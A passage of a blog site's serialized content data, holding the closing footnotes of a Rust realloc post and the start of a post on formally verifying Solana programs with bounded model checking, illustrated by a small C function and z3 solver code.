3",[1483],[17283],{"type":29,"value":1486},{"type":23,"tag":120,"props":17285,"children":17287},{"id":17286},"user-content-fn-rustc-llvm",[17288,17290],{"type":29,"value":17289},"Actually, it's LLVM that does the optimization ",{"type":23,"tag":55,"props":17291,"children":17295},{"href":17292,"ariaLabel":17293,"className":17294,"dataFootnoteBackref":7},"#user-content-fnref-rustc-llvm","Back to reference 4",[1483],[17296],{"type":29,"value":1486},{"type":23,"tag":120,"props":17298,"children":17300},{"id":17299},"user-content-fn-godbolt",[17301,17308,17310,17316,17318],{"type":23,"tag":55,"props":17302,"children":17305},{"href":17303,"rel":17304},"https://godbolt.org/z/PK46xMbxc",[59],[17306],{"type":29,"value":17307},"Click here",{"type":29,"value":17309}," for a Compiler Explorer link showing this - note that the code for both implementations is almost identical. And yes, it's x86_64 and not eBPF, but unfortunately Compiler Explorer doesn't have Rust ",{"type":23,"tag":38,"props":17311,"children":17313},{"className":17312},[],[17314],{"type":29,"value":17315},"libcore",{"type":29,"value":17317}," available for other architectures yet. ",{"type":23,"tag":55,"props":17319,"children":17323},{"href":17320,"ariaLabel":17321,"className":17322,"dataFootnoteBackref":7},"#user-content-fnref-godbolt","Back to reference 5",[1483],[17324],{"type":29,"value":1486},{"type":23,"tag":120,"props":17326,"children":17328},{"id":17327},"user-content-fn-slice-unbound-lifetime",[17329,17331,17336,17338,17344,17346,17352,17354,17360,17362,17368,17370,17376,17378,17383,17385],{"type":29,"value":17330},"The astute reader may have noticed that ",{"type":23,"tag":38,"props":17332,"children":17334},{"className":17333},[],[17335],{"type":29,"value":17032},{"type":29,"value":17337}," still returns an unbounded lifetime (notice in the signature ",{"type":23,"tag":38,"props":17339,"children":17341},{"className":17340},[],[17342],{"type":29,"value":17343},"unsafe fn from_raw_parts_mut\u003C'a, T>(data: *mut T, len: usize) -> &'a mut [T]",{"type":29,"value":17345},", the lifetime parameter ",{"type":23,"tag":38,"props":17347,"children":17349},{"className":17348},[],[17350],{"type":29,"value":17351},"'a",{"type":29,"value":17353}," does not appear in the arguments). However, we immediately constrain the lifetime by assigning it to ",{"type":23,"tag":38,"props":17355,"children":17357},{"className":17356},[],[17358],{"type":29,"value":17359},"*slice",{"type":29,"value":17361},", which is ",{"type":23,"tag":38,"props":17363,"children":17365},{"className":17364},[],[17366],{"type":29,"value":17367},"&'info [u8]",{"type":29,"value":17369}," (where ",{"type":23,"tag":38,"props":17371,"children":17373},{"className":17372},[],[17374],{"type":29,"value":17375},"'info",{"type":29,"value":17377}," is the lifetime parameter of the ",{"type":23,"tag":38,"props":17379,"children":17381},{"className":17380},[],[17382],{"type":29,"value":13615},{"type":29,"value":17384}," struct) - this is exactly the lifetime we started with. ",{"type":23,"tag":55,"props":17386,"children":17390},{"href":17387,"ariaLabel":17388,"className":17389,"dataFootnoteBackref":7},"#user-content-fnref-slice-unbound-lifetime","Back to reference 6",[1483],[17391],{"type":29,"value":1486},{"type":23,"tag":1508,"props":17393,"children":17394},{},[17395],{"type":29,"value":1512},{"title":7,"searchDepth":180,"depth":180,"links":17397},[17398,17404,17408,17409,17411],{"id":13044,"depth":180,"text":17399,"children":17400},"Breaking down realloc",[17401,17402],{"id":13210,"depth":205,"text":13213},{"id":14568,"depth":205,"text":17403},"Back to realloc",{"id":15519,"depth":180,"text":15522,"children":17405},[17406,17407],{"id":15525,"depth":205,"text":15528},{"id":15747,"depth":205,"text":15750},{"id":15934,"depth":180,"text":15937},{"id":16336,"depth":180,"text":17410},"Towards safer unsafe",{"id":683,"depth":180,"text":1446},"content:blog:2022-12-09-rust-realloc-and-references.md","blog/2022-12-09-rust-realloc-and-references.md","blog/2022-12-09-rust-realloc-and-references",{"_path":17416,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":17417,"description":17418,"author":17419,"image":17420,"date":17422,"isFeatured":15,"onBlogPage":15,"tags":17423,"body":17424,"_type":1522,"_id":27685,"_source":1524,"_file":27686,"_stem":27687,"_extension":1527},"/blog/2023-01-26-formally-verifying-solana-programs","Solana Formal Verification: A Case Study","We present a novel framework for formal verification of Solana Anchor programs — and a case study application to the Squads multisig.","harrison",{"src":17421,"height":12301,"width":13},"/posts/formally-verifying-solana-programs/formal-verification-title.jpg","2023-01-26",[1539,1540],{"type":20,"children":17425,"toc":27657},[17426,17431,17436,17462,17466,17478,17501,17524,17536,17559,17562,17569,17619,17625,17631,17636,17647,17688,17693,17699,17704,17937,17957,17962,17967,18040,18045,18115,18129,18553,18573,18579,18598,18603,18608,18613,18619,18631,18666,18677,18688,18700,18705,18737,18761,18780,18786,18803,18809,18836,18841,18861,18873,19019,19047,19050,19062,19145,19164,19167,19206,19373,19378,19384,19396,19415,19428,19589,19601,19614,20088,20093,20140,20146,20164,20233,20471,20685,20690,20764,20812,20817,20823,20925,21029,21034,21096,21101,21107,21172,21177,21219,21245,21251,21320,21325,21375,21386,21392,21403,21424,21429,21434,21457,21463,21475,21495,22611,22630,22681,22686,22694,22706,22711,22719,22724,22740,22776,22781,22875,22880,22888,22893,23005,23010,23018,23031,23195,23200,23208,23213,23218,23286,23320,23326,23331,23342,23360,23738,23750,23762,23770,23781,23812,23817,23825,23830,24103,24122,24127,24153,25021,25033,25132,25144,25186,25191,25203,25211,25216,25228,25254,25414,25426,25434,25439,25715,25720,25732,25887,25907,26233,26267,26461,26494,26506,26628,26648,26653,26658,26663,26676,26684,26689,27164,27176,27181,27193,27198,27457,27483,27488,27494,27500,27512,27524,27543,27590,27595,27601,27606,27611,27616,27621,27626,27631,27634,27653],{"type":23,"tag":32,"props":17427,"children":17428},{},[17429],{"type":29,"value":17430},"Since the early days of computing, bugs have crept their way into programs and wreaked havoc on the intentions of the programmer. Logical fallacies, race conditions, or simple typos could manifest as crashes or lay undetected, silently breaking the functionality of the host program.",{"type":23,"tag":32,"props":17432,"children":17433},{},[17434],{"type":29,"value":17435},"When your program is connected to the internet, there is the new risk that bugs may introduce security holes into your system. Even simple buffer overflows can be exploited by skilled attackers to compromise the integrity of your program.",{"type":23,"tag":32,"props":17437,"children":17438},{},[17439,17441,17445,17447,17452,17454,17461],{"type":29,"value":17440},"In the world of Web3 we create programs that talk to strangers ",{"type":23,"tag":47,"props":17442,"children":17443},{},[17444],{"type":29,"value":15048},{"type":29,"value":17446}," control millions of dollars 🤑. Bugs in these programs are some of the ",{"type":23,"tag":47,"props":17448,"children":17449},{},[17450],{"type":29,"value":17451},"juciest",{"type":29,"value":17453},"; anonymous attackers that can find and exploit them will walk away with potentially ",{"type":23,"tag":55,"props":17455,"children":17458},{"href":17456,"rel":17457},"https://rekt.news/leaderboard/",[59],[17459],{"type":29,"value":17460},"hundreds of millions of dollars",{"type":29,"value":322},{"type":23,"tag":17463,"props":17464,"children":17465},"hr",{},[],{"type":23,"tag":32,"props":17467,"children":17468},{},[17469,17471,17476],{"type":29,"value":17470},"At OtterSec we are ",{"type":23,"tag":47,"props":17472,"children":17473},{},[17474],{"type":29,"value":17475},"highly skilled in pest control",{"type":29,"value":17477}," - finding and squashing bugs before they are exploited by less well-intentioned hackers. We are constantly striving to improve our techniques and develop new technologies that aid in our auditing processes.",{"type":23,"tag":32,"props":17479,"children":17480},{},[17481,17483,17490,17492,17499],{"type":29,"value":17482},"Recently we were contacted by the ",{"type":23,"tag":55,"props":17484,"children":17487},{"href":17485,"rel":17486},"https://squads.so/",[59],[17488],{"type":29,"value":17489},"Squads team",{"type":29,"value":17491}," to explore how formal verification could be used to verify security-critical properties of Solana programs. We were really excited about this opportunity and have been developing a prototype with the ",{"type":23,"tag":55,"props":17493,"children":17496},{"href":17494,"rel":17495},"https://github.com/Squads-Protocol/squads-mpl",[59],[17497],{"type":29,"value":17498},"Squads Multisig Program",{"type":29,"value":17500}," as our main case study.",{"type":23,"tag":32,"props":17502,"children":17503},{},[17504,17506,17513,17515,17522],{"type":29,"value":17505},"We now have a (mostly) working prototype that can be used to formally verify critical properties of Solana programs in order to ensure a higher level of security. Our tool integrates with ",{"type":23,"tag":55,"props":17507,"children":17510},{"href":17508,"rel":17509},"https://www.anchor-lang.com/",[59],[17511],{"type":29,"value":17512},"anchor-lang",{"type":29,"value":17514}," and provides new APIs to specify invariants for your Solana code. It then autogenerates proof harnesses which are verified with the ",{"type":23,"tag":55,"props":17516,"children":17519},{"href":17517,"rel":17518},"https://github.com/model-checking/kani",[59],[17520],{"type":29,"value":17521},"Kani Rust Verifier",{"type":29,"value":17523},". Additionally, we are implementing a formal-verification-friendly runtime SDK layer that accelerates the expensive process of running formal verification tools on complex code.",{"type":23,"tag":32,"props":17525,"children":17526},{},[17527,17529,17534],{"type":29,"value":17528},"In this blog post, we're excited to share our progress and the challenges we've encountered during the process. We will describe the main concepts behind ",{"type":23,"tag":47,"props":17530,"children":17531},{},[17532],{"type":29,"value":17533},"bounded model checking",{"type":29,"value":17535}," (our formal verification method of choice) and explain how we've applied these concepts to Solana.",{"type":23,"tag":32,"props":17537,"children":17538},{},[17539],{"type":23,"tag":47,"props":17540,"children":17541},{},[17542,17544,17551,17553],{"type":29,"value":17543},"If you're interested in learning more or getting your own programs formally verified, let us know! We'd be excited to chat with you! — Fill out ",{"type":23,"tag":55,"props":17545,"children":17548},{"href":17546,"rel":17547},"https://osec.io/contact",[59],[17549],{"type":29,"value":17550},"this form",{"type":29,"value":17552}," or email us at ",{"type":23,"tag":55,"props":17554,"children":17556},{"href":17555},"mailto:contact@osec.io",[17557],{"type":29,"value":17558},"contact@osec.io",{"type":23,"tag":17463,"props":17560,"children":17561},{},[],{"type":23,"tag":17563,"props":17564,"children":17566},"h4",{"id":17565},"contents",[17567],{"type":29,"value":17568},"Contents:",{"type":23,"tag":116,"props":17570,"children":17571},{},[17572,17577,17594,17604,17609,17614],{"type":23,"tag":120,"props":17573,"children":17574},{},[17575],{"type":29,"value":17576},"Formal Verification with Bounded Model Checking\na. Overview\nb. A simple example\nc. Loop bounds & path explosion\nd. The Kani Rust Verifier",{"type":23,"tag":120,"props":17578,"children":17579},{},[17580,17585,17587,17592],{"type":23,"tag":3998,"props":17581,"children":17582},{},[17583],{"type":29,"value":17584},"Specification",{"type":29,"value":17586},": How can we describe what we ",{"type":23,"tag":47,"props":17588,"children":17589},{},[17590],{"type":29,"value":17591},"want",{"type":29,"value":17593}," our program to do?",{"type":23,"tag":120,"props":17595,"children":17596},{},[17597,17602],{"type":23,"tag":3998,"props":17598,"children":17599},{},[17600],{"type":29,"value":17601},"Verification",{"type":29,"value":17603},": How do we check that our model is correct?",{"type":23,"tag":120,"props":17605,"children":17606},{},[17607],{"type":29,"value":17608},"Case Study: Squads Multisig",{"type":23,"tag":120,"props":17610,"children":17611},{},[17612],{"type":29,"value":17613},"Additional challenges in Solana",{"type":23,"tag":120,"props":17615,"children":17616},{},[17617],{"type":29,"value":17618},"Conclusion",{"type":23,"tag":24,"props":17620,"children":17622},{"id":17621},"formal-verification-with-bounded-model-checking",[17623],{"type":29,"value":17624},"Formal Verification with Bounded Model Checking",{"type":23,"tag":8287,"props":17626,"children":17628},{"id":17627},"overview",[17629],{"type":29,"value":17630},"Overview",{"type":23,"tag":32,"props":17632,"children":17633},{},[17634],{"type":29,"value":17635},"Formal verification is the process of using a formal specification to verify the correctness of a system. In this case, the systems we are verifying are programs written in Rust that run on the Solana blockchain.",{"type":23,"tag":32,"props":17637,"children":17638},{},[17639,17641,17646],{"type":29,"value":17640},"There are many different flavors of formal verification, however in this research we are using ",{"type":23,"tag":3998,"props":17642,"children":17643},{},[17644],{"type":29,"value":17645},"bounded model checking (BMC)",{"type":29,"value":322},{"type":23,"tag":32,"props":17648,"children":17649},{},[17650,17652,17657,17659,17664,17666,17670,17672,17678,17680,17686],{"type":29,"value":17651},"In short, the idea of BMC is to execute our program ",{"type":23,"tag":47,"props":17653,"children":17654},{},[17655],{"type":29,"value":17656},"symbolically",{"type":29,"value":17658}," rather than ",{"type":23,"tag":47,"props":17660,"children":17661},{},[17662],{"type":29,"value":17663},"concretely",{"type":29,"value":17665},". Instead of actually performing an ",{"type":23,"tag":47,"props":17667,"children":17668},{},[17669],{"type":29,"value":8317},{"type":29,"value":17671}," when we see the line ",{"type":23,"tag":38,"props":17673,"children":17675},{"className":17674},[],[17676],{"type":29,"value":17677},"int x = a + b",{"type":29,"value":17679},", we store the symbolic expression ",{"type":23,"tag":38,"props":17681,"children":17683},{"className":17682},[],[17684],{"type":29,"value":17685},"x == a + b",{"type":29,"value":17687},". We do this for every line and once we reach the end of the program we have compiled a huge list of symbolic expressions. At this point, we can feed these expressions to a SMT solver along with a correctness property P in order to check if our program satisfies this property.",{"type":23,"tag":32,"props":17689,"children":17690},{},[17691],{"type":29,"value":17692},"If we hit a branch as we are tracing the program, we will take both sides of the branch adding the positive branch condition as a constraint to one side and the negative condition to the other side.",{"type":23,"tag":8287,"props":17694,"children":17696},{"id":17695},"a-simple-example",[17697],{"type":29,"value":17698},"A simple example",{"type":23,"tag":32,"props":17700,"children":17701},{},[17702],{"type":29,"value":17703},"As an example, consider the following function:",{"type":23,"tag":131,"props":17705,"children":17707},{"code":17706,"language":1807,"meta":7,"className":15191,"style":7},"int foo(int x) {\n int y = x + 3;\n int z;\n if (y > 100) {\n z = y * 2;\n } else {\n z = y + 1;\n }\n\n // Property P:\n assert(z != 105);\n}\n",[17708],{"type":23,"tag":38,"props":17709,"children":17710},{"__ignoreMap":7},[17711,17741,17775,17787,17812,17840,17855,17882,17889,17896,17904,17930],{"type":23,"tag":141,"props":17712,"children":17713},{"class":143,"line":144},[17714,17719,17724,17728,17732,17737],{"type":23,"tag":141,"props":17715,"children":17716},{"style":449},[17717],{"type":29,"value":17718},"int",{"type":23,"tag":141,"props":17720,"children":17721},{"style":184},[17722],{"type":29,"value":17723}," foo",{"type":23,"tag":141,"props":17725,"children":17726},{"style":154},[17727],{"type":29,"value":192},{"type":23,"tag":141,"props":17729,"children":17730},{"style":449},[17731],{"type":29,"value":17718},{"type":23,"tag":141,"props":17733,"children":17734},{"style":750},[17735],{"type":29,"value":17736}," x",{"type":23,"tag":141,"props":17738,"children":17739},{"style":154},[17740],{"type":29,"value":13480},{"type":23,"tag":141,"props":17742,"children":17743},{"class":143,"line":180},[17744,17749,17753,17757,17762,17766,17771],{"type":23,"tag":141,"props":17745,"children":17746},{"style":449},[17747],{"type":29,"value":17748}," int",{"type":23,"tag":141,"props":17750,"children":17751},{"style":154},[17752],{"type":29,"value":3189},{"type":23,"tag":141,"props":17754,"children":17755},{"style":160},[17756],{"type":29,"value":1377},{"type":23,"tag":141,"props":17758,"children":17759},{"style":154},[17760],{"type":29,"value":17761}," x ",{"type":23,"tag":141,"props":17763,"children":17764},{"style":160},[17765],{"type":29,"value":3058},{"type":23,"tag":141,"props":17767,"children":17768},{"style":472},[17769],{"type":29,"value":17770}," 3",{"type":23,"tag":141,"props":17772,"children":17773},{"style":154},[17774],{"type":29,"value":1684},{"type":23,"tag":141,"props":17776,"children":17777},{"class":143,"line":205},[17778,17782],{"type":23,"tag":141,"props":17779,"children":17780},{"style":449},[17781],{"type":29,"value":17748},{"type":23,"tag":141,"props":17783,"children":17784},{"style":154},[17785],{"type":29,"value":17786}," z;\n",{"type":23,"tag":141,"props":17788,"children":17789},{"class":143,"line":218},[17790,17794,17799,17803,17808],{"type":23,"tag":141,"props":17791,"children":17792},{"style":148},[17793],{"type":29,"value":151},{"type":23,"tag":141,"props":17795,"children":17796},{"style":154},[17797],{"type":29,"value":17798}," (y ",{"type":23,"tag":141,"props":17800,"children":17801},{"style":160},[17802],{"type":29,"value":9142},{"type":23,"tag":141,"props":17804,"children":17805},{"style":472},[17806],{"type":29,"value":17807}," 100",{"type":23,"tag":141,"props":17809,"children":17810},{"style":154},[17811],{"type":29,"value":13480},{"type":23,"tag":141,"props":17813,"children":17814},{"class":143,"line":227},[17815,17820,17824,17828,17832,17836],{"type":23,"tag":141,"props":17816,"children":17817},{"style":154},[17818],{"type":29,"value":17819}," z ",{"type":23,"tag":141,"props":17821,"children":17822},{"style":160},[17823],{"type":29,"value":1377},{"type":23,"tag":141,"props":17825,"children":17826},{"style":154},[17827],{"type":29,"value":3189},{"type":23,"tag":141,"props":17829,"children":17830},{"style":160},[17831],{"type":29,"value":197},{"type":23,"tag":141,"props":17833,"children":17834},{"style":472},[17835],{"type":29,"value":6609},{"type":23,"tag":141,"props":17837,"children":17838},{"style":154},[17839],{"type":29,"value":1684},{"type":23,"tag":141,"props":17841,"children":17842},{"class":143,"line":241},[17843,17847,17851],{"type":23,"tag":141,"props":17844,"children":17845},{"style":154},[17846],{"type":29,"value":14455},{"type":23,"tag":141,"props":17848,"children":17849},{"style":148},[17850],{"type":29,"value":1976},{"type":23,"tag":141,"props":17852,"children":17853},{"style":154},[17854],{"type":29,"value":1951},{"type":23,"tag":141,"props":17856,"children":17857},{"class":143,"line":262},[17858,17862,17866,17870,17874,17878],{"type":23,"tag":141,"props":17859,"children":17860},{"style":154},[17861],{"type":29,"value":17819},{"type":23,"tag":141,"props":17863,"children":17864},{"style":160},[17865],{"type":29,"value":1377},{"type":23,"tag":141,"props":17867,"children":17868},{"style":154},[17869],{"type":29,"value":3189},{"type":23,"tag":141,"props":17871,"children":17872},{"style":160},[17873],{"type":29,"value":3058},{"type":23,"tag":141,"props":17875,"children":17876},{"style":472},[17877],{"type":29,"value":3198},{"type":23,"tag":141,"props":17879,"children":17880},{"style":154},[17881],{"type":29,"value":1684},{"type":23,"tag":141,"props":17883,"children":17884},{"class":143,"line":271},[17885],{"type":23,"tag":141,"props":17886,"children":17887},{"style":154},[17888],{"type":29,"value":299},{"type":23,"tag":141,"props":17890,"children":17891},{"class":143,"line":293},[17892],{"type":23,"tag":141,"props":17893,"children":17894},{"emptyLinePlaceholder":15},[17895],{"type":29,"value":719},{"type":23,"tag":141,"props":17897,"children":17898},{"class":143,"line":801},[17899],{"type":23,"tag":141,"props":17900,"children":17901},{"style":443},[17902],{"type":29,"value":17903}," // Property P:\n",{"type":23,"tag":141,"props":17905,"children":17906},{"class":143,"line":810},[17907,17912,17917,17921,17926],{"type":23,"tag":141,"props":17908,"children":17909},{"style":184},[17910],{"type":29,"value":17911}," assert",{"type":23,"tag":141,"props":17913,"children":17914},{"style":154},[17915],{"type":29,"value":17916},"(z ",{"type":23,"tag":141,"props":17918,"children":17919},{"style":160},[17920],{"type":29,"value":14364},{"type":23,"tag":141,"props":17922,"children":17923},{"style":472},[17924],{"type":29,"value":17925}," 105",{"type":23,"tag":141,"props":17927,"children":17928},{"style":154},[17929],{"type":29,"value":2496},{"type":23,"tag":141,"props":17931,"children":17932},{"class":143,"line":824},[17933],{"type":23,"tag":141,"props":17934,"children":17935},{"style":154},[17936],{"type":29,"value":2573},{"type":23,"tag":32,"props":17938,"children":17939},{},[17940,17942,17948,17950,17956],{"type":29,"value":17941},"This function takes an input ",{"type":23,"tag":38,"props":17943,"children":17945},{"className":17944},[],[17946],{"type":29,"value":17947},"x",{"type":29,"value":17949}," and does some computation. At the end of the program, the property we want to verify is that ",{"type":23,"tag":38,"props":17951,"children":17953},{"className":17952},[],[17954],{"type":29,"value":17955},"z != 105",{"type":29,"value":322},{"type":23,"tag":32,"props":17958,"children":17959},{},[17960],{"type":29,"value":17961},"With BMC, we could trace this program and derive the following constraints:",{"type":23,"tag":32,"props":17963,"children":17964},{},[17965],{"type":29,"value":17966},"Positive branch:",{"type":23,"tag":131,"props":17968,"children":17970},{"code":17969,"language":1807,"meta":7,"className":15191,"style":7},"y == x + 3\ny > 100\nz == y * 2\n",[17971],{"type":23,"tag":38,"props":17972,"children":17973},{"__ignoreMap":7},[17974,17999,18015],{"type":23,"tag":141,"props":17975,"children":17976},{"class":143,"line":144},[17977,17982,17986,17990,17994],{"type":23,"tag":141,"props":17978,"children":17979},{"style":154},[17980],{"type":29,"value":17981},"y ",{"type":23,"tag":141,"props":17983,"children":17984},{"style":160},[17985],{"type":29,"value":7251},{"type":23,"tag":141,"props":17987,"children":17988},{"style":154},[17989],{"type":29,"value":17761},{"type":23,"tag":141,"props":17991,"children":17992},{"style":160},[17993],{"type":29,"value":3058},{"type":23,"tag":141,"props":17995,"children":17996},{"style":472},[17997],{"type":29,"value":17998}," 3\n",{"type":23,"tag":141,"props":18000,"children":18001},{"class":143,"line":180},[18002,18006,18010],{"type":23,"tag":141,"props":18003,"children":18004},{"style":154},[18005],{"type":29,"value":17981},{"type":23,"tag":141,"props":18007,"children":18008},{"style":160},[18009],{"type":29,"value":9142},{"type":23,"tag":141,"props":18011,"children":18012},{"style":472},[18013],{"type":29,"value":18014}," 100\n",{"type":23,"tag":141,"props":18016,"children":18017},{"class":143,"line":205},[18018,18023,18027,18031,18035],{"type":23,"tag":141,"props":18019,"children":18020},{"style":154},[18021],{"type":29,"value":18022},"z ",{"type":23,"tag":141,"props":18024,"children":18025},{"style":160},[18026],{"type":29,"value":7251},{"type":23,"tag":141,"props":18028,"children":18029},{"style":154},[18030],{"type":29,"value":3189},{"type":23,"tag":141,"props":18032,"children":18033},{"style":160},[18034],{"type":29,"value":197},{"type":23,"tag":141,"props":18036,"children":18037},{"style":472},[18038],{"type":29,"value":18039}," 2\n",{"type":23,"tag":32,"props":18041,"children":18042},{},[18043],{"type":29,"value":18044},"Negative branch:",{"type":23,"tag":131,"props":18046,"children":18048},{"code":18047,"language":1807,"meta":7,"className":15191,"style":7},"y == x + 3\ny \u003C= 100\nz == y + 1\n",[18049],{"type":23,"tag":38,"props":18050,"children":18051},{"__ignoreMap":7},[18052,18075,18091],{"type":23,"tag":141,"props":18053,"children":18054},{"class":143,"line":144},[18055,18059,18063,18067,18071],{"type":23,"tag":141,"props":18056,"children":18057},{"style":154},[18058],{"type":29,"value":17981},{"type":23,"tag":141,"props":18060,"children":18061},{"style":160},[18062],{"type":29,"value":7251},{"type":23,"tag":141,"props":18064,"children":18065},{"style":154},[18066],{"type":29,"value":17761},{"type":23,"tag":141,"props":18068,"children":18069},{"style":160},[18070],{"type":29,"value":3058},{"type":23,"tag":141,"props":18072,"children":18073},{"style":472},[18074],{"type":29,"value":17998},{"type":23,"tag":141,"props":18076,"children":18077},{"class":143,"line":180},[18078,18082,18087],{"type":23,"tag":141,"props":18079,"children":18080},{"style":154},[18081],{"type":29,"value":17981},{"type":23,"tag":141,"props":18083,"children":18084},{"style":160},[18085],{"type":29,"value":18086},"\u003C=",{"type":23,"tag":141,"props":18088,"children":18089},{"style":472},[18090],{"type":29,"value":18014},{"type":23,"tag":141,"props":18092,"children":18093},{"class":143,"line":205},[18094,18098,18102,18106,18110],{"type":23,"tag":141,"props":18095,"children":18096},{"style":154},[18097],{"type":29,"value":18022},{"type":23,"tag":141,"props":18099,"children":18100},{"style":160},[18101],{"type":29,"value":7251},{"type":23,"tag":141,"props":18103,"children":18104},{"style":154},[18105],{"type":29,"value":3189},{"type":23,"tag":141,"props":18107,"children":18108},{"style":160},[18109],{"type":29,"value":3058},{"type":23,"tag":141,"props":18111,"children":18112},{"style":472},[18113],{"type":29,"value":18114}," 1\n",{"type":23,"tag":32,"props":18116,"children":18117},{},[18118,18120,18127],{"type":29,"value":18119},"Using the ",{"type":23,"tag":55,"props":18121,"children":18124},{"href":18122,"rel":18123},"https://github.com/Z3Prover/z3",[59],[18125],{"type":29,"value":18126},"z3",{"type":29,"value":18128}," SMT solver, we could check both of these cases like so:",{"type":23,"tag":131,"props":18130,"children":18134},{"code":18131,"language":18132,"meta":7,"className":18133,"style":7},"from z3 import *\n\nx = Int('x')\ny = Int('y')\nz = Int('z')\n\n# Positive branch:\ns = Solver()\ns.add(y == x + 3)\ns.add(y > 100)\ns.add(z == y * 2)\n\n# check if we can violate the correctness property\ns.add(Not(z != 105))\nprint(s.check()) # \"unsat\"\n\n# Negative branch:\ns = Solver()\ns.add(y == x + 3)\ns.add(y \u003C= 100)\ns.add(z == y + 1)\n\n# check if we can violate the correctness property\ns.add(Not(z != 105))\nprint(s.check()) # \"unsat\"\n","python","language-python shiki shiki-themes slack-dark",[18135],{"type":23,"tag":38,"props":18136,"children":18137},{"__ignoreMap":7},[18138,18161,18168,18194,18218,18242,18249,18257,18274,18302,18321,18349,18356,18364,18384,18402,18409,18417,18432,18459,18478,18505,18512,18519,18538],{"type":23,"tag":141,"props":18139,"children":18140},{"class":143,"line":144},[18141,18146,18151,18156],{"type":23,"tag":141,"props":18142,"children":18143},{"style":148},[18144],{"type":29,"value":18145},"from",{"type":23,"tag":141,"props":18147,"children":18148},{"style":154},[18149],{"type":29,"value":18150}," z3 ",{"type":23,"tag":141,"props":18152,"children":18153},{"style":148},[18154],{"type":29,"value":18155},"import",{"type":23,"tag":141,"props":18157,"children":18158},{"style":160},[18159],{"type":29,"value":18160}," *\n",{"type":23,"tag":141,"props":18162,"children":18163},{"class":143,"line":180},[18164],{"type":23,"tag":141,"props":18165,"children":18166},{"emptyLinePlaceholder":15},[18167],{"type":29,"value":719},{"type":23,"tag":141,"props":18169,"children":18170},{"class":143,"line":205},[18171,18176,18180,18185,18190],{"type":23,"tag":141,"props":18172,"children":18173},{"style":154},[18174],{"type":29,"value":18175},"x ",{"type":23,"tag":141,"props":18177,"children":18178},{"style":160},[18179],{"type":29,"value":1377},{"type":23,"tag":141,"props":18181,"children":18182},{"style":154},[18183],{"type":29,"value":18184}," Int(",{"type":23,"tag":141,"props":18186,"children":18187},{"style":828},[18188],{"type":29,"value":18189},"'x'",{"type":23,"tag":141,"props":18191,"children":18192},{"style":154},[18193],{"type":29,"value":758},{"type":23,"tag":141,"props":18195,"children":18196},{"class":143,"line":218},[18197,18201,18205,18209,18214],{"type":23,"tag":141,"props":18198,"children":18199},{"style":154},[18200],{"type":29,"value":17981},{"type":23,"tag":141,"props":18202,"children":18203},{"style":160},[18204],{"type":29,"value":1377},{"type":23,"tag":141,"props":18206,"children":18207},{"style":154},[18208],{"type":29,"value":18184},{"type":23,"tag":141,"props":18210,"children":18211},{"style":828},[18212],{"type":29,"value":18213},"'y'",{"type":23,"tag":141,"props":18215,"children":18216},{"style":154},[18217],{"type":29,"value":758},{"type":23,"tag":141,"props":18219,"children":18220},{"class":143,"line":227},[18221,18225,18229,18233,18238],{"type":23,"tag":141,"props":18222,"children":18223},{"style":154},[18224],{"type":29,"value":18022},{"type":23,"tag":141,"props":18226,"children":18227},{"style":160},[18228],{"type":29,"value":1377},{"type":23,"tag":141,"props":18230,"children":18231},{"style":154},[18232],{"type":29,"value":18184},{"type":23,"tag":141,"props":18234,"children":18235},{"style":828},[18236],{"type":29,"value":18237},"'z'",{"type":23,"tag":141,"props":18239,"children":18240},{"style":154},[18241],{"type":29,"value":758},{"type":23,"tag":141,"props":18243,"children":18244},{"class":143,"line":241},[18245],{"type":23,"tag":141,"props":18246,"children":18247},{"emptyLinePlaceholder":15},[18248],{"type":29,"value":719},{"type":23,"tag":141,"props":18250,"children":18251},{"class":143,"line":262},[18252],{"type":23,"tag":141,"props":18253,"children":18254},{"style":443},[18255],{"type":29,"value":18256},"# Positive branch:\n",{"type":23,"tag":141,"props":18258,"children":18259},{"class":143,"line":271},[18260,18265,18269],{"type":23,"tag":141,"props":18261,"children":18262},{"style":154},[18263],{"type":29,"value":18264},"s ",{"type":23,"tag":141,"props":18266,"children":18267},{"style":160},[18268],{"type":29,"value":1377},{"type":23,"tag":141,"props":18270,"children":18271},{"style":154},[18272],{"type":29,"value":18273}," Solver()\n",{"type":23,"tag":141,"props":18275,"children":18276},{"class":143,"line":293},[18277,18282,18286,18290,18294,18298],{"type":23,"tag":141,"props":18278,"children":18279},{"style":154},[18280],{"type":29,"value":18281},"s.add(y ",{"type":23,"tag":141,"props":18283,"children":18284},{"style":160},[18285],{"type":29,"value":7251},{"type":23,"tag":141,"props":18287,"children":18288},{"style":154},[18289],{"type":29,"value":17761},{"type":23,"tag":141,"props":18291,"children":18292},{"style":160},[18293],{"type":29,"value":3058},{"type":23,"tag":141,"props":18295,"children":18296},{"style":472},[18297],{"type":29,"value":17770},{"type":23,"tag":141,"props":18299,"children":18300},{"style":154},[18301],{"type":29,"value":758},{"type":23,"tag":141,"props":18303,"children":18304},{"class":143,"line":801},[18305,18309,18313,18317],{"type":23,"tag":141,"props":18306,"children":18307},{"style":154},[18308],{"type":29,"value":18281},{"type":23,"tag":141,"props":18310,"children":18311},{"style":160},[18312],{"type":29,"value":9142},{"type":23,"tag":141,"props":18314,"children":18315},{"style":472},[18316],{"type":29,"value":17807},{"type":23,"tag":141,"props":18318,"children":18319},{"style":154},[18320],{"type":29,"value":758},{"type":23,"tag":141,"props":18322,"children":18323},{"class":143,"line":810},[18324,18329,18333,18337,18341,18345],{"type":23,"tag":141,"props":18325,"children":18326},{"style":154},[18327],{"type":29,"value":18328},"s.add(z ",{"type":23,"tag":141,"props":18330,"children":18331},{"style":160},[18332],{"type":29,"value":7251},{"type":23,"tag":141,"props":18334,"children":18335},{"style":154},[18336],{"type":29,"value":3189},{"type":23,"tag":141,"props":18338,"children":18339},{"style":160},[18340],{"type":29,"value":197},{"type":23,"tag":141,"props":18342,"children":18343},{"style":472},[18344],{"type":29,"value":6609},{"type":23,"tag":141,"props":18346,"children":18347},{"style":154},[18348],{"type":29,"value":758},{"type":23,"tag":141,"props":18350,"children":18351},{"class":143,"line":824},[18352],{"type":23,"tag":141,"props":18353,"children":18354},{"emptyLinePlaceholder":15},[18355],{"type":29,"value":719},{"type":23,"tag":141,"props":18357,"children":18358},{"class":143,"line":839},[18359],{"type":23,"tag":141,"props":18360,"children":18361},{"style":443},[18362],{"type":29,"value":18363},"# check if we can violate the correctness property\n",{"type":23,"tag":141,"props":18365,"children":18366},{"class":143,"line":848},[18367,18372,18376,18380],{"type":23,"tag":141,"props":18368,"children":18369},{"style":154},[18370],{"type":29,"value":18371},"s.add(Not(z 